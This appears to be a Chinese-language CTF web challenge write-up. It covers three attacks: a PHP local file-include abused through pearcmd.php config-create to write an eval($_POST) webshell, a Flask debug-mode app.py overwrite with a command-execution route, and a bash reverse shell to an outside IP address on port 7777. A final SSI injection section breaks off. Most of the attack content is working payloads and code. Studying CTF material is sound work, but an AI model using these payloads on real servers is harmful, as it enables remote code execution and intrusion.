web:
要利用这个pearcmd.php需要满足几个条件:
(1).要开启register_argc_argv这个选项在Docker中使自动开启的
(2).要有文件包含的利用
-
- error_reporting(0);
- if(isset($_GET['file'])) {
- $file = $_GET['file'];
-
- if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
- die('hacker!');
- }
-
- include($file.".php");
- # Something in phpinfo.php!
- }
- else {
- highlight_file(__FILE__);
- }
- ?>
看到config-create,去阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
注意1:用burpsuite传GET,用hackbar会被url编码,传入文件无法解析
- /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=eval($_POST[1]);?>+/tmp/mochu7.php
-
- /?+config-create+/&file=/usr/local/lib/php/pearcmd&/=eval($_POST[1]);?>+/tmp/hello.php
访问hello.php
3.week4 flask disk
访问admin manage发现要输入pin码,说明flask开启了debug模式。
flask开启了debug模式下,app.py源文件被修改后会立刻加载。
所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。注意语法不能出错,否则会崩溃。
- from flask import Flask,request
- import os
- app = Flask(__name__)
- @app.route('/')
- def index():
- try:
- cmd=request.args.get('cmd')
- data=os.popen(cmd).read()
- return data
- except:
- pass
-
- return "1"
- if __name__=='__main__':
- app.run(host='0.0.0.0',port=5000,debug=True)
或者反弹shell
- import os
-
- os.system("bash -c \"bash -i >& /dev/tcp/36.139.110.159/7777 0>&1\"")
4.ssi漏洞(服务器包含漏洞):
开启ssi配置,shtml文件表示服务器当前开启了SSI与CGI支持,可以使用语法执行命令,参考资料
题目中username被写入了shtml文件,所以将其值修改为::